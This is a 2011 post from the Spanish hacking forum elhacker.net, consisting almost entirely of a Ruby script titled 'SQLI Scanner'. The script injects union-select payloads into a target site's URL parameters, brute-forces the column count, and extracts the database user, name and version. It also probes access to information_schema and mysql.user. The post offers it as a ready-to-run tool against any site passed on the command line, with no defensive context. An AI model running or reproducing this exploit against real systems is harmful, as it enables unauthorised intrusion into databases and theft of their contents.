elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a la Factorización De Semiprimos (RSA)


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Ruby] SQLI Scanner
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Ruby] SQLI Scanner  (Leído 1,944 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Ruby] SQLI Scanner
« en: 7 Octubre 2011, 01:32 am »

Un scanner de SQLI en ruby

Código
  1. #!usr/bin/ruby
  2. #SQLI Scannerl (C) Doddy Hackman 2010
  3. #contact me : doddy-hackman.blogspot.com
  4.  
  5. require 'net/http'
  6.  
  7.  
  8. def uso
  9.  print "\n[+] sqli.rb <site>\n"
  10. end
  11.  
  12. def toma(host,path)
  13.  http = Net::HTTP.new(host,80)
  14.  return http.get(path).body
  15. end
  16.  
  17. def details(web,more)
  18. web1 = more.sub(/hackman/,"0x4b30425241")
  19. more = more.sub(/hackman/,"concat(0x4b30425241,user(),0x4b30425241,database(),0x4b30425241,version(),0x4b30425241)")
  20. print "\n\n[+] Extrating information of the DB\n\n"
  21. url = URI.parse(web)
  22. code = toma(url.host,url.path+"?"+url.query+more)
  23. if code=~/K0BRA(.*?)K0BRA(.*?)K0BRA(.*?)K0BRA/
  24.  print "[username] : "+$1+"\n"
  25.  print "[database] : "+$2+"\n"
  26.  print "[version] : "+$3+"\n\n"
  27.  
  28. test1 = toma(url.host,url.path+"?"+url.query+web1+"+from+information_schema.tables")
  29. test2 = toma(url.host,url.path+"?"+url.query+web1+"+from+mysql.user")
  30.  
  31. if test1=~/K0BRA/
  32.  print "[information_schema.tables] : ON\n"
  33. end
  34.  
  35. if test2=~/K0BRA/
  36. print "[mysql.user] : ON"
  37. end
  38.  
  39.  
  40. else
  41.  print "\n[-] Not Found\n\n"
  42. end
  43. end
  44.  
  45.  
  46. def scan(web)
  47. print "\n[+] Testing the vulnerability SQLI...\n\n"
  48. url = URI.parse(web)
  49. codetest = toma(url.host,url.path+"?"+url.query+"-1+union+select+1")
  50. if codetest=~/The used SELECT statements have a different number of columns/
  51.  print "[+] SQLI Detected\n\n"
  52.  else
  53.  print "[-] Not Vulnerable to SQLI\n\n"
  54.  copyright()
  55. end
  56.  
  57. z = "1"
  58. x = "concat(0x4b30425241,1,0x4b30425241)"
  59. for num in ('2'..'25')
  60. z = z+","+num
  61. x= x+","+"concat(0x4b30425241,"+num+",0x4b30425241)"
  62. #print url.host,url.path+"?"+url.query+"-1+union+select+"+x+"\n"
  63. code = toma(url.host,url.path+"?"+url.query+"-1+union+select+"+x)
  64. if code=~/K0BRA(.*?)K0BRA/
  65. print "[+] The Page has "+num+" columns\n"
  66. print "[+] The number "+$1+" print data\n\n"
  67. z = z.sub($1,"hackman")
  68. print "[SQLI] : "+web+"-1+union+select+"+z
  69. details(web,"-1+union+select+"+z)
  70. copyright()
  71. end
  72. end
  73. print "\n\n[-] Not Found the numbers of the columns\n\n"
  74. copyright()
  75. end
  76.  
  77. def head()
  78.  print "\n\n -- == SQLI Scanner == --\n\n"
  79. end
  80.  
  81. def copyright()
  82.   print "\n\n\n(C) Doddy Hackman 2010\n\n"
  83.   exit(1)
  84. end
  85.  
  86. head()
  87. if !ARGV[0]
  88.  uso()
  89. else
  90.  scan(ARGV[0])
  91.  copyright()  
  92. end
  93. copyright()
  94.  


« Última modificación: 8 Octubre 2011, 19:03 pm por Doddy » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Java] SQLI Scanner 0.2
Java
BigBear 1 2,833 Último mensaje 22 Enero 2013, 16:27 pm
por Slider324
[C#] SQLI Scanner 0.4
.NET (C#, VB.NET, ASP)
BigBear 0 2,665 Último mensaje 18 Julio 2014, 01:36 am
por BigBear
[Ruby] SQLI Scanner 0.4
Scripting
BigBear 0 1,667 Último mensaje 7 Agosto 2015, 22:25 pm
por BigBear
[Ruby] LFI Scanner 0.3
Scripting
BigBear 0 1,583 Último mensaje 21 Agosto 2015, 23:37 pm
por BigBear
[Java] SQLI Scanner 0.4
Java
BigBear 0 1,459 Último mensaje 5 Marzo 2016, 16:15 pm
por BigBear
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines